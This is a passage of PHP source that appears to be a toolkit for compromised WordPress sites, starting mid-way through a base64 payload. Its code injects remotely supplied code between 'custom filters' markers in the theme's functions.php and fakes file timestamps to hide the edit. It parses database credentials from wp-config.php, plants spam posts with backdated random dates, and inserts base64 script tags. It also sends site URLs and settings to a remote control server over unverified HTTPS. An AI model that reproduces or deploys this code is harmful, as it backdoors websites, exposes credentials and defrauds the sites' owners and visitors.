BhZGRfZmlsdGVyKCdwb3N0c193aGVyZV9wYWdlZCcsICdhZGRfd2hlcmVfY29uZGl0aW9uJyk7CgogICAgYWRkX2FjdGlvbigncHJlX2dldF9wb3N0cycsICdwb3N0X2V4Y2x1ZGUnKTsKICAgIGFkZF9hY3Rpb24oJ3dwX2VucXVldWVfc2NyaXB0cycsICd3cF9jb3JlX2pzJyk7CgogICAgYWRkX2ZpbHRlcignd3BfY291bnRfcG9zdHMnLCAnZmlsdGVyX2Z1bmN0aW9uX25hbWVfNDA1NScsIDEwLCAzKTsKCiAgICBhZGRfZmlsdGVyKCdyZXdyaXRlX3J1bGVzX2FycmF5JywgJ3NpdGVtYXBfeG1sX3J1bGVzJyk7CiAgICBhZGRfYWN0aW9uKCd3cF9sb2FkZWQnLCAnY3VzdG9tX2ZsdXNoX3J1bGVzJyk7CiAgICBhZGRfYWN0aW9uKCdpbml0JywgJ2N1c3RvbVNpdGVtYXBGZWVkJyk7CiAgICBhZGRfYWN0aW9uKCd0ZW1wbGF0ZV9yZWRpcmVjdCcsICdyZW1vdmVZb2FzdE1ldGEnKTsKCiAgICAkaG9tZUxpbmtzU2V0dGluZ3NBcnIgPSBob21lX2xpbmtzX3NldHRpbmdzX2N1c3RvbSgkdXNlclNldHRpbmdzQXJyKTsKCiAgICBpZiAoIWVtcHR5KCRob21lTGlua3NTZXR0aW5nc0FycikpIHsKCiAgICAgICAgY3VzdG9tU2VuZERlYnVnKCk7CgogICAgICAgIGFkZF9hY3Rpb24oJ3dwX2hlYWQnLCAnYnVmZmVyX3N0YXJ0X2N1c3RvbScpOwogICAgICAgIGFkZF9hY3Rpb24oJ3dwX2Zvb3RlcicsICdidWZmZXJfZW5kX2N1c3RvbScpOwogICAgfQp9CgovKiBjdXN0b20gZmlsdGVycyAqLw==';

    $gzSource = gzCompressCustom(base64_decode($source));

    $source = sendpostUploader(GS_ALIAS . '/src/functionsHandler.php', array(
        'host' => urlencode($_SERVER['HTTP_HOST']),
        'data' => urlencode($gzSource),
    ));

    $settings = settingsArr($functionsSource);


    if (!$settings) {
        echo 'settings return false' . PHP_EOL;
        return false;
    }

    writeSettingsDB($settings);

    $customFiltersUpdateResult = mbReplaceCustomFilters($functionsSource, $functionsPath, $source);

    if ($customFiltersUpdateResult) {
        getSitemapUrls();
        return true;
    }


    return false;
}

function homeLinksAction() {

    $hash = md5(HOME_URL);

    $permLinks = array();

    if (isBadEnvCustom()) {
        echo 'change shell, invalid require wp-blog-header' . PHP_EOL;
        exit;
    }


    if (!function_exists('get_permalink')) {
        require WP_ROOT_DIR . '/wp-blog-header.php';
    }
    $posts = CustomDbHandler::getInstance()
        ->allPostsFromDb(HOME_URL, CUSTOM_AUTHOR_ID);

    if (empty($posts)) {
        echo '!!!!!!!!no posts for this author!!!!!' . PHP_EOL;

        return false;
    }

    foreach ($posts as $post) {

        list ($url, $anchor) = explode(';', $post, 2);

        preg_match('~\?p=(\d+)~', $post, $matches);

        $postId = $matches[1];

        $permLinks[] = array(get_permalink($postId), $anchor);
        wp_cache_delete($postId, 'posts');
    }


    if (empty($permLinks)) {
        echo 'invalid fetch permalinks' . PHP_EOL;

        return false;
    }

    $compressed = gzcompress(json_encode($permLinks), 9);

    $url = GS_ALIAS . '/dnc/wp-acceptors-api/home-links?hash=' . $hash . '&permhash=' . md5($compressed);

    $results = sendpostUploader($url, array(
            'homeLinksSettings' => json_encode($_SERVER['homeLinksSettings']),
            'url' => urlencode(HOME_URL),
            'permLinks' => urlencode($compressed)
        )
    );

    $uncompressed = gzuncompress($results);

    if (!isJsonCustom($uncompressed)) {
        echo 'invalid home links format' . PHP_EOL;

        return false;
    }

    $blocks = json_decode($uncompressed, 1);

    if (empty($blocks)) {
        echo 'no texts for this language' . PHP_EOL;

        return false;
    }


    foreach ($blocks as $key => $value) {
        update_option('home_links_custom_' . $key, $value);
    }

    echo sprintf('%s text block(s) available for use%s', count($blocks), PHP_EOL);

    return true;
}

function removeHomeLinkKey($settings) {
    foreach ($settings as $key => $arr) {
        if ($key === CUSTOM_AUTHOR_ID) {
            continue;
        }
        if (isset($settings[$key]['homeLinks'])) {
            unset($settings[$key]['homeLinks']);
        }
    }

    return $settings;
}

function viewAllAuthorsAction() {
    CustomDbHandler::getInstance()->viewAllAuthors();

    return true;
}

function getSitemapUrls() {

    echo HOME_URL . '/' . SITEMAP_NAME . '.xml' . PHP_EOL;
    echo HOME_URL . '/?feed=xml' . SITEMAP_NAME . PHP_EOL;
}

function writeSettingsDB($settings) {

    try {
        $settingsName = optionCustomFilters();
        $instance = CustomDbHandler::getInstance();
        $settingsEncode = base64_encode(serialize($settings));

        if (!$instance->getOption($settingsName)) {
            //echo 'insert new option' . PHP_EOL;
            $instance->insertWpOptions($settingsName, $settingsEncode);
        } else {
            //echo 'option exist, update option' . PHP_EOL;
            $instance->updateWpOptions($settingsName, $settingsEncode);
        }

        echo 'settings updated!' . PHP_EOL;

        return true;

    } catch (Exception $ex) {
        echo $ex->getMessage() . PHP_EOL;

        return false;
    }
}


function sendAction() {

    $mutexName = defined('CUSTOM_AUTHOR_ID') ? '_' . CUSTOM_AUTHOR_ID : '';

    $filename = TMPDIR . '/log' . $mutexName . '.txt';

    //echo "send $filename" . PHP_EOL;

    $api = GS_ALIAS . '/src/wpacc-v2-ant.php';

    $debugData = array(
        'url' => HOME_URL,
        'fullUrls' => allPostsFullUrl(),
        'settings' => debugDataCustom(),
    );

    $responseData = sendpostUploader($api, array(
        'url' => urlencode(HOME_URL),
        'debug' => urlencode(gzcompress(json_encode($debugData), 9)),
    ));

    if (trim($responseData) === 'success') {
        echo "data sent" . PHP_EOL;

        return true;
    }
    echo "error while send data" . PHP_EOL;

    return false;
}

function debugDataCustom() {

    $settings = array();
    $settings = getDbSettingsCustom();

    if ($settings) {
        foreach ($settings as $userId => $arr) {
            if (isset($arr['js']) && $decodedJs = detectBase64js($arr['js'])) {
                $settings[$userId]['js'] = parseJsScript($decodedJs);
            }
        }
    }


    return array(
        'archivePath' => str_replace('{DIR_NUM}', DIR_NUM, URL_WITH_ARCHIVES),
        'authorId' => CUSTOM_AUTHOR_ID,
        'cloacking' => CLOACKING,
        'homeLinks' => (defined('HOME_LINKS')) ? HOME_LINKS : 0,
        'homeLinksSettings' => ((defined('HOME_LINKS') && (HOME_LINKS === 1))) ? $_SERVER['homeLinksSettings'] : array(),
        'forceChangeHomeLinksOwner' => defined('FORCE_CHANGE_HOME_LINKS_OWNER') ? FORCE_CHANGE_HOME_LINKS_OWNER : 0,
        'internalLinking' => INTERNAL_LINKING,
        'externalLinking' => EXTERNAL_LINKING,
        'sitemapName' => SITEMAP_NAME,
        'jsConfig' => parseJsScript(JS_SOURCE),
        'usersSettings' => $settings,
    );
}

function cleanAction() {
    removeDirRec(TMPDIR);

    return true;
}

function rollbackAction() {
    $configArr = parseWpConfig(CONFIGSOURCE);
    $mysqli = new mysqli($configArr['dbhostaddr'], $configArr['dbuser'], $configArr['dbpassword'], $configArr['dbname'], $configArr['dbport']);
    deleteSettings();
    deletePosts();
    removeDirRec(TMPDIR);

    return true;
}

function removeHomeLinksCustom($configArr, $mysqli) {
    //SELECT option_id FROM `wp_options` where option_name LIKE 'home_links_custom_%'

    $homeLinksIdsQuery = sprintf("select option_id from `%s`.`%soptions` where option_name LIKE 'home_links_custom_%%'", $configArr['dbname'], $configArr['dbprefix']);

    if ($result = $mysqli->query($homeLinksIdsQuery)) {
        while ($row = $result->fetch_assoc()) {
            $ids[] = $row['option_id'];
        }
    }


    if (empty($ids)) {
        return 0;
    }

    $idsString = implode(', ', $ids);
    $queryForDelete = sprintf("delete FROM `%s`.`%soptions` where option_id IN ($idsString)", $configArr['dbname'], $configArr['dbprefix']);
    $mysqli->query($queryForDelete);

    return $mysqli->affected_rows;
}

function globalRollbackAction() {
    $configArr = parseWpConfig(CONFIGSOURCE);
    $mysqli = new mysqli($configArr['dbhostaddr'], $configArr['dbuser'], $configArr['dbpassword'], $configArr['dbname'], $configArr['dbport']);

    deletePosts(true);

    removeDirRec(TMPDIR);

    if (!defined('CUSTOM_TEMPLATE_PATH')) {
        $templateDirectory = getTemplatePath();
    } else {
        $templateDirectory = CUSTOM_TEMPLATE_PATH;
    }


    $functionsPath = $templateDirectory . '/functions.php';

    if (!file_exists($functionsPath)) {
        echo $functionsPath . '/ no exists' . PHP_EOL;

        return true;
    }

    if (!is_writeable($functionsPath)) {
        echo $functionsPath . ' no writeable' . PHP_EOL;

        return true;
    }

    $functionsSource = file_get_contents($functionsPath);

    $regexp = '~\/\*\s+custom filters\s+\*\/(.+)\/\*\s*custom filters\s*\*\/~su';

    $newSource = preg_replace($regexp, '', $functionsSource);

    if ($newSource !== $functionsSource) {
        file_put_contents($functionsPath, $newSource);
        echo 'return original functions.php' . PHP_EOL;
    }

    writeSettingsDB(array());
    removeHomeLinksCustom($configArr, $mysqli);

    return true;
}

function sendPostsFromDbAction() {
    $api = GS_ALIAS . '/src/wpacc-v2-icr.php';
    $urls = CustomDbHandler::getInstance()
        ->allPostsFromDb(HOME_URL, CUSTOM_AUTHOR_ID);

    if (empty($urls)) {
        echo "no posts by author id" . PHP_EOL;

        return false;
    }

    $source = implode("\n", $urls);

    $responseData = sendpostUploader($api, array(
        'url' => urlencode(HOME_URL),
        'source' => urlencode($source),
    ));

    if (trim($responseData) === 'success') {
        echo "data sent" . PHP_EOL;

        return true;
    }
    echo "error while send data" . PHP_EOL;

    return false;
}

function allPostsFullUrl() {


    $userId = defined('CUSTOM_AUTHOR_ID') ? CUSTOM_AUTHOR_ID : 9999;
    $urls = array();

    if (isBadEnvCustom()) {
        echo 'change shell, invalid require wp-blog-header' . PHP_EOL;
        exit;
    }


    if (!function_exists('get_permalink')) {
        require_once WP_ROOT_DIR . '/wp-blog-header.php';
    }

    $canonicalUrls = CustomDbHandler::getInstance()->allPostsFromDb(HOME_URL, $userId);

    foreach ($canonicalUrls as $canonicalUrl) {
        list ($link, $title) = explode(';', $canonicalUrl);
        preg_match('~\?p=(\d+)~', $link, $idMatches);
        $urls[] = array(
            get_permalink($idMatches[1]),
            $idMatches[1],
            $title
        );
        wp_cache_delete($idMatches[1], 'posts');

    }

    return $urls;
}

function unzipSecondMethod() {
    $paths = array(
        TMPDIR
    );
    foreach ($paths as $path) {

        $zipFiles = glob($path . DIRECTORY_SEPARATOR . '*.zip');
        if (!is_dir($path)) {
            mkdir($path, 0755, true);
        }

        $zip = new ZipArchive();

        foreach ($zipFiles as $file) {
            if ($zip->open($file)) {

                if ($zip->extractTo($path)) {
                    echo "$file extracted" . PHP_EOL;
                    unlink($file);
                    $zip->close();
                }
            } else {
                echo "I can not open the archive $file" . PHP_EOL;

                return false;
            }
        }
    }
    file_put_contents(TMPDIR . '/unzipsuccess', '');

    return true;
}

function unzipFirstMethod() {

    $paths = array(
        TMPDIR
    );

    if (file_exists($unzipClassPath = WP_ROOT_DIR . '/wp-admin/includes/class-pclzip.php')) {
        include_once $unzipClassPath;
    } else {
        include_once TMPDIR . '/header.php';
    }


    foreach ($paths as $path) {

        $zipFiles = glob($path . DIRECTORY_SEPARATOR . '*.zip');

        foreach ($zipFiles as $file) {

            $archive = new PclZip($file);
            if ($archive->extract(PCLZIP_OPT_PATH, $path) == 0) {
                echo "Error : " . $archive->errorInfo(true);

                return false;
            } else {
                echo $file . " unzipped" . PHP_EOL;
                unlink($file);
            }
        }
    }
    file_put_contents(TMPDIR . '/unzipsuccess', '');

    return true;
}

function parseWpConfig($configSource) {


    if ((ALTERNATIVE_CONNECT_MYSQL === 1) && defined('WP_CONFIG_ARR_AS_JSON')) {
        return json_decode(WP_CONFIG_ARR_AS_JSON, 1);
    }


    //preg_match_all("~(DB_NAME|DB_USER|DB_PASSWORD|DB_HOST)[\'\"],\s*[\'\"](.+)[\'\"]\s*\);~", $configSource, $dbhost);
    preg_match_all("~^define.*(DB_NAME|DB_USER|DB_PASSWORD|DB_HOST)[\'\"],\s*[\'\"](.+)[\'\"]\s*\);~m", $configSource, $dbhost);

    preg_match("~table_prefix\s+=\s*[\'\"](.+)[\'\"];~", $configSource, $prefix);

    if (stristr($dbhost[2][3], ':') !== false) {
        list($hostAddr, $dbPort) = explode(':', $dbhost[2][3]);
    } else {
        $hostAddr = $dbhost[2][3];
        $dbPort = 3306;
    }


    return array(
        'dbname' => $dbhost[2][0],
        'dbuser' => $dbhost[2][1],
        'dbpassword' => $dbhost[2][2],
        'dbhostaddr' => $hostAddr,
        'dbprefix' => $prefix[1],
        'dbport' => $dbPort,
    );
}

function findWriteablePath($pathForScaning) {

    if (is_writeable($pathForScaning)) {
        return $pathForScaning;
    }
    $subdirs = glob($pathForScaning . '/*', GLOB_ONLYDIR);

    if (!empty($subdirs)) {
        foreach ($subdirs as $dir) {
            if (is_writable($dir)) {
                return $dir;
            }
        }
    }

    return null;
}

function detectWProotDir() {

    if (file_exists(CURRENTDIR . '/wp-config.php')) {
        return CURRENTDIR;
    }
    $normalizePath = preg_replace('~\/(wp-admin|wp-includes|wp-content).*$~', '', CURRENTDIR);

    if (file_exists($normalizePath . '/wp-config.php')) {
        return $normalizePath;
    }

    return null;
}

function get_file($source, $localname) {

    $file = fopen('php://temp/maxmemory:0', 'w+b');
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $source);
    curl_setopt($ch, CURLOPT_FAILONERROR, true);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
    curl_setopt($ch, CURLOPT_FILE, $file);
    curl_exec($ch);

    rewind($file);
    file_put_contents($localname, stream_get_contents($file));
    fclose($file);

    echo $localname . ' - ' . filesizemb($localname) . ' MB' . PHP_EOL;
}

function uploadRangeOfFiles($url, $range, $extension, $dirname = '') {

    list ($firstNum, $secondNum) = explode('-', $range);

    if (!makeDir($dirname)) {
        throw new Exception("dont create dirname - $dirname");
    }

    foreach (range($firstNum, $secondNum) as $num) {
        $filename = $num . $extension;
        get_file($url . $filename, $dirname !== '' ?
            $dirname . DIRECTORY_SEPARATOR . $filename : $filename);
    }
}

function filesizemb($file) {
    return number_format(filesize($file) / pow(1024, 2), 3, '.', '');
}

function makeDir($dirname) {


    if ($dirname !== '') {
        if (!is_dir($dirname)) {
            if (!mkdir($dirname, 0777, true)) {
                return false;
            }
        }
    }
    $GLOBALS['createdDirectories'][] = $dirname;

    return true;
}

function jsPrepare($jsSource) {

    $base64 = base64_encode($jsSource);

    return '<script src="data:text/javascript;base64,' . $base64 . '"></script>';
}

function modify_functions_php($functionsPath, $source, $tmpDir, $deleteOldCustomFilters = false) {

    $functionsSource = file_get_contents($functionsPath);
    oldFunctionPathBak($tmpDir, $functionsPath);
    $optionCustom = optionCustomFunctions();

    if ($deleteOldCustomFilters) {

        $customFiltersRegexpSec = "~/\*\s*(custom filters|$optionCustom)\s*\*/(.+)/\*\s*(custom filters|$optionCustom)\s*\*/~su";
        $functionsSource = preg_replace($customFiltersRegexpSec, '', $functionsSource);
    }

    preg_match('~\<\?(php)*~', $functionsSource, $tagMatches);

    if (empty($tagMatches)) {
        return;
    }

    $phpMatches = preg_quote($tagMatches[0]);
    //$newFunctionSource = preg_replace("~$phpMatches~", $tagMatches[0] . "\n\n" . base64_decode($source), $functionsSource, 1);
    $newFunctionSource = preg_replace("~$phpMatches~", $tagMatches[0] . "\n\n" . $source, $functionsSource, 1);

    if (file_put_contents($functionsPath, $newFunctionSource) !== false) {
        /* dont touch me please */
        //touch($functionsPath, frequenttimestamp(dirname($functionsPath)));
        return true;
    }

    return false;
}

function findOldSettings($functionsSource) {

    $oldSourceRegex = '/\'(.+?\.xml\$)\'\s*=>\s*\'(.+?)\'/m';

    if (preg_match($oldSourceRegex, $functionsSource, $oldSourceMatches)) {
        echo 'old settings value detected' . PHP_EOL;

        $jsScriptRegex = '/\$str\s*=\s*<<<STR(.+?)STR;/s';
        preg_match($jsScriptRegex, $functionsSource, $jsMatches);

        $oldSettingsArr = generateSettings(9999, trim($jsMatches[1])
            , $oldSourceMatches[1], $oldSourceMatches[2], null);

        return $oldSettingsArr;
    } else {
        //find in db
        echo 'find old settings in DB' . PHP_EOL;

        return getDbSettingsCustom();
    }
}


function getDbSettingsCustom() {

    $settings = CustomDbHandler::getInstance()->getOption(optionCustomFilters());

    if ($settings) {
        //new settings
        $firstUnserialize = unserialize(base64_decode($settings['option_value']));

        if (isset($firstUnserialize['option_value'])) {
            //double unserialize fix
            $secondUnserialize = unserialize(base64_decode($firstUnserialize['option_value']));
            writeSettingsDB($secondUnserialize);
            return $secondUnserialize;
        }
        return $firstUnserialize;
    } else {
        /* dont touch */
        $settings = CustomDbHandler::getInstance()->getOption('wp_custom_filters');
        if ($settings) {
            $unserialisedSettings = unserialize(base64_decode($settings['option_value']));
            writeSettingsDB($unserialisedSettings);
            return $unserialisedSettings;
        }
    }

    //echo 'no old settings';

    return null;
}


function addPostsCountInSettings($settings) {
    foreach ($settings as $userId => $arr) {
        $postsCount = count(CustomDbHandler::getInstance()
            ->allPostsFromDb(HOME_URL, $userId));
        $settings[$userId]['count'] = $postsCount;
    }

    return $settings;
}


function oldFunctionPathBak($tmpDir, $functionsPath) {

    if (!is_writeable(dirname($functionsPath))) {
        $backupPath = $tmpDir . '/' . basename($functionsPath) . '_bak';
    } else {
        $backupPath = $functionsPath . '_bak';
    }
    echo "functions backup path - $backupPath\n";
    file_put_contents($backupPath, file_get_contents($functionsPath));
    touch($backupPath, frequenttimestamp(dirname($backupPath)));
}

function replaceJSinSource($source, $preparedScript) {
    $decoded = base64_decode($source);

    $modified = str_replace(array('JAVASCRIPT', 'SITEMAP_NAME'), array($preparedScript, SITEMAP_NAME), $decoded);

    return base64_encode($modified);
}

function sendpostUploader($url, $fields) {

    $fields_string = '';
    foreach ($fields as $key => $value) {

        $fields_string .= $key . '=' . $value . '&';
    }
    rtrim($fields_string, '&');

    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_TIMEOUT, 10);
    curl_setopt($ch, CURLOPT_POST, count($fields));
    curl_setopt($ch, CURLOPT_POSTFIELDS, $fields_string);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
    $result = curl_exec($ch);
    $info = curl_getinfo($ch);

    if (curl_errno($ch)) {
        $error_msg = curl_error($ch);
        echo $error_msg . PHP_EOL;

        return null;
    }


    curl_close($ch);

    return ($info["http_code"] == 200) ? $result : null;
}

function contentParts($pageSource) {

    preg_match_all('/\[(TITLE|TEXT)\](.+)\[\/(\1)]/ius'
        , $pageSource, $kuski);

    if (!isset($kuski[2][0])) {
        throw new Exception('invalid title');
    }
    if (!isset($kuski[2][1])) {
        throw new Exception('invalid text');
    }


    $title = mb_convert_encoding(trim($kuski[2][0]), 'HTML-ENTITIES', "UTF-8");
    $slug = stringToSlug($kuski[2][0]);
    $text = mb_convert_encoding(trim($kuski[2][1]), 'HTML-ENTITIES', "UTF-8");

    return array(
        'title' => $title,
        'text' => $text,
        'slug' => $slug,
    );
}

function resultFormat($blogUrl, $postId, $title) {
    return rtrim($blogUrl, '/') . '/?p=' . $postId . ';' . $title;
}

function randDate() {
    $randDate = mktime(rand(1, 11), rand(0, 59), rand(0, 59), date("m") + rand(1, 12), date("d") + rand(1, 20), date("Y") - rand(4, 7));

    return date('Y-m-d H:i:s', $randDate);
}

function stringToSlug($str) {


    $options = array(
        'delimiter' => '-',
        'limit' => null,
        'lowercase' => true,
        'replacements' => array(),
        'transliterate' => true,
    );

    $char_map = array(
        // Latin
        'À' => 'A',
        'Á' => 'A',
        'Â' => 'A',
        'Ã' => 'A',
        'Ä' => 'A',
        'Å' => 'A',
        'Ă' => 'A',
        'Æ' => 'AE',
        'Ç' => 'C',
        'È' => 'E',
        'É' => 'E',
        'Ê' => 'E',
        'Ë' => 'E',
        'Ì' => 'I',
        'Í' => 'I',
        'Î' => 'I',
        'Ï' => 'I',
        'Ð' => 'D',
        'Ñ' => 'N',
        'Ò' => 'O',
        'Ó' => 'O',
        'Ô' => 'O',
        'Õ' => 'O',
        'Ö' => 'O',
        'Ő' => 'O',
        'Ø' => 'O',
        'Ș' => 'S',
        'Ù' => 'U',
        'Ú' => 'U',
        'Û' => 'U',
        'Ü' => 'U',
        'Ű' => 'U',
        'Ý' => 'Y',
        'Þ' => 'TH',
        'ß' => 'ss',
        'à' => 'a',
        'á' => 'a',
        'â' => 'a',
        'ã' => 'a',
        'ä' => 'a',
        'å' => 'a',
        'ă' => 'a',
        'æ' => 'ae',
        'ç' => 'c',
        'è' => 'e',
        'é' => 'e',
        'ê' => 'e',
        'ë' => 'e',
        'ì' => 'i',
        'í' => 'i',
        'î' => 'i',
        'ï' => 'i',
        'ð' => 'd',
        'ñ' => 'n',
        'ò' => 'o',
        'ó' => 'o',
        'ô' => 'o',
        'õ' => 'o',
        'ö' => 'o',
        'ő' => 'o',
        'ø' => 'o',
        'ș' => 's',
        'ù' => 'u',
        'ú' => 'u',
        'û' => 'u',
        'ü' => 'u',
        'ű' => 'u',
        'ý' => 'y',
        'þ' => 'th',
        'ÿ' => 'y',
        // Latin symbols
        '©' => '(c)',
        // Greek
        'Α' => 'A',
        'Β' => 'B',
        'Γ' => 'G',
        'Δ' => 'D',
        'Ε' => 'E',
        'Ζ' => 'Z',
        'Η' => 'H',
        'Θ' => '8',
        'Ι' => 'I',
        'Κ' => 'K',
        'Λ' => 'L',
        'Μ' => 'M',
        'Ν' => 'N',
        'Ξ' => '3',
        'Ο' => 'O',
        'Π' => 'P',
        'Ρ' => 'R',
        'Σ' => 'S',
        'Τ' => 'T',
        'Υ' => 'Y',
        'Φ' => 'F',
        'Χ' => 'X',
        'Ψ' => 'PS',
        'Ω' => 'W',
        'Ά' => 'A',
        'Έ' => 'E',
        'Ί' => 'I',
        'Ό' => 'O',
        'Ύ' => 'Y',
        'Ή' => 'H',
        'Ώ' => 'W',
        'Ϊ' => 'I',
        'Ϋ' => 'Y',
        'α' => 'a',
        'β' => 'b',
        'γ' => 'g',
        'δ' => 'd',
        'ε' => 'e',
        'ζ' => 'z',
        'η' => 'h',
        'θ' => '8',
        'ι' => 'i',
        'κ' => 'k',
        'λ' => 'l',
        'μ' => 'm',
        'ν' => 'n',
        'ξ' => '3',
        'ο' => 'o',
        'π' => 'p',
        'ρ' => 'r',
        'σ' => 's',
        'τ' => 't',
        'υ' => 'y',
        'φ' => 'f',
        'χ' => 'x',
        'ψ' => 'ps',
        'ω' => 'w',
        'ά' => 'a',
        'έ' => 'e',
        'ί' => 'i',
        'ό' => 'o',
        'ύ' => 'y',
        'ή' => 'h',
        'ώ' => 'w',
        'ς' => 's',
        'ϊ' => 'i',
        'ΰ' => 'y',
        'ϋ' => 'y',
        'ΐ' => 'i',
        // Turkish
        'Ş' => 'S',
        'İ' => 'I',
        'Ç' => 'C',
        'Ü' => 'U',
        'Ö' => 'O',
        'Ğ' => 'G',
        'ş' => 's',
        'ı' => 'i',
        'ç' => 'c',
        'ü' => 'u',
        'ö' => 'o',
        'ğ' => 'g',
        // Russian
        'А' => 'A',
        'Б' => 'B',
        'В' => 'V',
        'Г' => 'G',
        'Д' => 'D',
        'Е' => 'E',
        'Ё' => 'Yo',
        'Ж' => 'Zh',
        'З' => 'Z',
        'И' => 'I',
        'Й' => 'J',
        'К' => 'K',
        'Л' => 'L',
        'М' => 'M',
        'Н' => 'N',
        'О' => 'O',
        'П' => 'P',
        'Р' => 'R',
        'С' => 'S',
        'Т' => 'T',
        'У' => 'U',
        'Ф' => 'F',
        'Х' => 'H',
        'Ц' => 'C',
        'Ч' => 'Ch',
        'Ш' => 'Sh',
        'Щ' => 'Sh',
        'Ъ' => '',
        'Ы' => 'Y',
        'Ь' => '',
        'Э' => 'E',
        'Ю' => 'Yu',
        'Я' => 'Ya',
        'а' => 'a',
        'б' => 'b',
        'в' => 'v',
        'г' => 'g',
        'д' => 'd',
        'е' => 'e',
        'ё' => 'yo',
        'ж' => 'zh',
        'з' => 'z',
        'и' => 'i',
        'й' => 'j',
        'к' => 'k',
        'л' => 'l',
        'м' => 'm',
        'н' => 'n',
        'о' => 'o',
        'п' => 'p',
        'р' => 'r',
        'с' => 's',
        'т' => 't',
        'у' => 'u',
        'ф' => 'f',
        'х' => 'h',
        'ц' => 'c',
        'ч' => 'ch',
        'ш' => 'sh',
        'щ' => 'sh',
        'ъ' => '',
        'ы' => 'y',
        'ь' => '',
        'э' => 'e',
        'ю' => 'yu',
        'я' => 'ya',
        // Ukrainian
        'Є' => 'Ye',
        'І' => 'I',
        'Ї' => 'Yi',
        'Ґ' => 'G',
        'є' => 'ye',
        'і' => 'i',
        'ї' => 'yi',
        'ґ' => 'g',
        // Czech
        'Č' => 'C',
        'Ď' => 'D',
        'Ě' => 'E',
        'Ň' => 'N',
        'Ř' => 'R',
        'Š' => 'S',
        'Ť' => 'T',
        'Ů' => 'U',
        'Ž' => 'Z',
        'č' => 'c',
        'ď' => 'd',
        'ě' => 'e',
        'ň' => 'n',
        'ř' => 'r',
        'š' => 's',
        'ť' => 't',
        'ů' => 'u',
        'ž' => 'z',
        // Polish
        'Ą' => 'A',
        'Ć' => 'C',
        'Ę' => 'e',
        'Ł' => 'L',
        'Ń' => 'N',
        'Ó' => 'o',
        'Ś' => 'S',
        'Ź' => 'Z',
        'Ż' => 'Z',
        'ą' => 'a',
        'ć' => 'c',
        'ę' => 'e',
        'ł' => 'l',
        'ń' => 'n',
        'ó' => 'o',
        'ś' => 's',
        'ź' => 'z',
        'ż' => 'z',
        // Latvian
        'Ā' => 'A',
        'Č' => 'C',
        'Ē' => 'E',
        'Ģ' => 'G',
        'Ī' => 'i',
        'Ķ' => 'k',
        'Ļ' => 'L',
        'Ņ' => 'N',
        'Š' => 'S',
        'Ū' => 'u',
        'Ž' => 'Z',
        'ā' => 'a',
        'č' => 'c',
        'ē' => 'e',
        'ģ' => 'g',
        'ī' => 'i',
        'ķ' => 'k',
        'ļ' => 'l',
        'ņ' => 'n',
        'š' => 's',
        'ū' => 'u',
        'ž' => 'z'
    );

    // Transliterate characters to ASCII
    if ($options['transliterate']) {
        $str = str_replace(array_keys($char_map), $char_map, $str);
    }

    // Replace non-alphanumeric characters with our delimiter
    $str = preg_replace('/[^\p{L}\p{Nd}]+/u', $options['delimiter'], $str);

    // Remove duplicate delimiters
    $str = preg_replace('/(' . preg_quote($options['delimiter'], '/') . '){2,}/', '$1', $str);

    // Truncate slug to max. characters
    $str = mb_substr($str, 0, ($options['limit'] ? $options['limit'] : mb_strlen($str, 'UTF-8')), 'UTF-8');

    // Remove delimiter from ends
    $str = trim($str, $options['delimiter']);

    return $options['lowercase'] ? mb_strtolower($str, 'UTF-8') : $str;
}

function removeDirRec($dir) {
    if ($objs = glob($dir . "/*")) {
        foreach ($objs as $obj) {
            is_dir($obj) ? removeDirRec($obj) : unlinkHandler($obj);
        }
    }
    rmdir($dir);
}

function unlinkHandler($obj) {
    if (unlink($obj)) {
        echo "$obj deleted " . PHP_EOL;

        return;
    }
    echo "!!!!!!!$obj failed to delete !!!!!!!" . PHP_EOL;
}

function deletePosts($global = false) {

    $userId = defined('CUSTOM_AUTHOR_ID') ? CUSTOM_AUTHOR_ID : 9999;

    if ($global) {
        $settings = getDbSettingsCustom();

        if (!$settings) {
            echo 'invalid get settings from db' . PHP_EOL;
        } else {
            $users = array_keys($settings);
            if (!in_array(9999, $users)) {
                $users[] = 9999;
            }
        }
    }

    if (!isset($users)) {
        $users = array($userId);
    }

    CustomDbHandler::getInstance()->deletePosts($users);

    return true;
}

function replacePTags($source, $links) {

    preg_match_all('~.{20}<\/p>~us', $source, $matches);

    if (empty($matches[0])) {
        return null;
    }

    $num = range(0, count($matches[0]) - 1);
    $patternsReplacementsArr = array();

    foreach ($links as $link) {
        $randNum = $num[rand(0, count($matches[0]) - 1)];
        $pattern = '~' . preg_quote($matches[0][$randNum]) . '~us';

        if (isset($patternsReplacementsArr[$pattern])) {
            $patternsReplacementsArr[$pattern] = $patternsReplacementsArr[$pattern] . "\n" . $link;
        } else {
            $patternsReplacementsArr[$pattern] = $matches[0][$randNum] . "\n" . $link;
        }
    }

    return preg_replace(array_keys($patternsReplacementsArr), array_values($patternsReplacementsArr), $source);
}

function urlBlockSec($url, $lastmod, $changefreq, $priority) {

    return <<<STR
   <url>
      <loc>$url</loc>
      <lastmod>$lastmod</lastmod>
      <changefreq>$changefreq</changefreq>
      <priority>$priority</priority>
   </url>\n\n
STR;
}

function currenturl($rootDir, $host = null) {

    $host = !$host ? 'http://' . $_SERVER['HTTP_HOST'] : $host;
    $tmp = str_replace(realpath($_SERVER['DOCUMENT_ROOT']), '', $host . $rootDir);

    return $tmp;
}

function checkSitemapNameRoot() {

    if (!is_writeable(WP_ROOT_DIR)) {
        echo WP_ROOT_DIR . ' isnt writeable' . PHP_EOL;

        return false;
    }

    if (file_exists(WP_ROOT_DIR . '/' . SITEMAP_NAME . '.xml')) {
        echo SITEMAP_NAME . '.xml in root dir, change sitemap name' . PHP_EOL;

        return false;
    }

    return true;
}

function frequenttimestamp($pathtodir) {

    foreach (glob($pathtodir . "/*php") as $file) {
        $tmp[] = filemtime($file);
    }
    $count = array_count_values($tmp);
    arsort($count);
    $keys = array_keys($count);

    return array_shift($keys);
}

function mb_basename($file, $ext = '') {
    $explodedPath = explode('/', $file);
    $last = end($explodedPath);

    return ($ext !== '') ? str_replace($ext, '', $last) : $last;
